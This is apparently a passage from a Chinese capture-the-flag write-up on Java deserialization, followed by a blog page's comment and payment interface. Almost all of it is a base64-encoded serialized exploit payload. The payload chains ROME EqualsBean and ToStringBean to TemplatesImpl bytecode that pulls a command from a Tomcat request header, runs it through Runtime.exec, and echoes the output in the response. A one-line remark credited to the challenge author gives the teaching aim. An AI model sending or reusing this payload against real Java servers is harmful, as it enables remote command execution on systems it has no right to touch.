YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAMZ2V0UmVzb3VyY2VzAQAnKClMb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3Q7AQAjb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3QBAApnZXRDb250ZXh0AQAfKClMb3JnL2FwYWNoZS9jYXRhbGluYS9Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAOZmluZENvbm5lY3RvcnMBACwoKVtMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvQ29ubmVjdG9yOwEAJ29yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL0Nvbm5lY3RvcgEACWdldFNjaGVtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGbGVuZ3RoAQADKClJAQASZ2V0UHJvdG9jb2xIYW5kbGVyAQAlKClMb3JnL2FwYWNoZS9jb3lvdGUvUHJvdG9jb2xIYW5kbGVyOwEAEmdldERlY2xhcmVkQ2xhc3NlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7AQAHZ2V0TmFtZQEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHNpemUBABUoSSlMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAB2dldE5vdGUBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAC2dldFJlc3BvbnNlAQAqKClMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2U7AQAmb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9PYmplY3QBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvQm9vbGVhbgEABUZBTFNFAQATTGphdmEvbGFuZy9Cb29sZWFuOwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEADmphdmEvaW8vV3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAAhAEUARgAAAAAAAwABAEcASAABAEkAAATvAAQAGwAAAfsqtwABEgISA7YABEwSBRIGtgAETRIHEgi2AAROEgkSCgG2AAs6BCsEtgAMLAS2AAwtBLYADBkEBLYADbgADrYAD8AAEDoFKxkFtgARuQASAQC2ABPAAAU6BiwZBrYAE8AAFDoHGQe2ABU6CAM2CRUJGQi%2bogGDBxkIFQkytgAWtgAXoAFuGQgVCTK2ABg6ChkKwQAZmQFiEgm2ABo6CwM2DBUMGQu%2bogFHEDQZCxUMMrYAG7YAF58AExA8GQsVDDK2ABu2ABegASEZCxUMMhIctgAEOg0SHRIetgAEOg4ZDQS2AAwZDgS2AAwZDRkEGQoBtgAftgATwAAdOg8ZDhkPtgATwAAgOhADNhEVERkQuQAhAQCiANAtGRAVEbkAIgIAtgATwAAjOhIZEhIktgAlOhMZEgS2ACbAACc6FBIouAAptgAqEiu2ACyaABkGvQAtWQMSLlNZBBIvU1kFGRNTpwAWBr0ALVkDEjBTWQQSMVNZBRkTUzoVuAAyGRW2ADO2ADQ6FrsANVkZFrcANhI3tgA4OhcZF7YAOZkACxkXtgA6pwAFEjs6GBkUtgA8tgA9OhkZFLYAPLYAPhI/tgAEOhoZGgS2AAwZGhkUtgA8sgBAtgBBGRkZGLYAQhkZtgBDpwADpwAJhAwBp/63pwAJhAkBp/57pwAETLEAAQAEAfYB%2bQBEAAMASgAAAMIAMAAAAAoABAAMAAwADQAUAA4AHAAPACYAEAArABEAMAASADUAEwA7ABUARgAWAFkAFwBkABgAawAZAHYAGgCFABsAjwAcAJcAHQCeAB4AqQAfAMkAIADVACEA3gAiAOQAIwDqACQA/AAlAQgAJgEXACcBKQAoATIAKQE9ACoBeAArAYUALAGVAC0BqQAuAbMALwHCADAByAAxAdUAMgHcADMB4QA0AeQANgHnAB4B7QA5AfAAGQH2AD4B%2bQA9AfoAPwBLAAABEAAbASkAuwBMAE0AEgEyALIATgBPABMBPQCnAFAAUQAUAXgAbABSAFMAFQGFAF8AVABVABYBlQBPAFYAVwAXAakAOwBYAE8AGAGzADEAWQBaABkBwgAiAFsAXAAaAQsA2QBdAF4AEQDVARIAXwBcAA0A3gEJAGAAXAAOAPwA6wBhAGIADwEIAN8AYwBkABAAoQFMAGUAXgAMAJ4BTwBmAGcACwCPAWEAaABpAAoAbgGIAGoAXgAJAAwB6gBrAFwAAQAUAeIAbABcAAIAHAHaAG0AXAADACYB0ABuAG8ABABGAbAAcABxAAUAWQGdAHIAcwAGAGQBkgB0AHUABwBrAYsAdgB3AAgAAAH7AHgAeQAAAHoAAAD8AA//AG4ACgcAewcAfAcAfAcAfAcAfQcAfgcAfwcAgAcAgQEAAP4AMgcAggcAgwEn/wBBABIHAHsHAHwHAHwHAHwHAH0HAH4HAH8HAIAHAIEBBwCCBwCDAQcAfAcAfAcAhAcAhQEAAP4AVwcAhgcAhwcAiFIHAIn%2bAC4HAIkHAIoHAItBBwCH/wA8ABEHAHsHAHwHAHwHAHwHAH0HAH4HAH8HAIAHAIEBBwCCBwCDAQcAfAcAfAcAhAcAhQAA/wACAA0HAHsHAHwHAHwHAHwHAH0HAH4HAH8HAIAHAIEBBwCCBwCDAQAA%2bQAF%2bgAC/wAFAAEHAHsAAEIHAIwAAAEAjQCOAAMASQAAAD8AAAADAAAAAbEAAAACAEoAAAAGAAEAAABCAEsAAAAgAAMAAAABAHgAeQAAAAAAAQCPAJAAAQAAAAEAkQCSAAIAkwAAAAQAAQCUAJUAAAAJAgCPAAAAkQAAAAEAjQCWAAMASQAAAEkAAAAEAAAAAbEAAAACAEoAAAAGAAEAAABFAEsAAAAqAAQAAAABAHgAeQAAAAAAAQCPAJAAAQAAAAEAlwCYAAIAAAABAJkAmgADAJMAAAAEAAEAlACVAAAADQMAjwAAAJcAAACZAAAAAQCbAAAAAgCccHQABG5hbWVwdwEAeHNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5FcXVhbHNCZWFu9YoYu%2bX2GBECAAJMAApfYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAARfb2JqcQB%2bAAd4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBxAH4AEHNyACpjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW4J9Y5KDyPuMQIAAkwACl9iZWFuQ2xhc3NxAH4AF0wABF9vYmpxAH4AB3hwcQB%2bABpxAH4AEA%3d%3d

出题人:想让大家了解一下反序列化之后的利用,所以写了一个toString,类似于idea的debug也存在这个问题。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值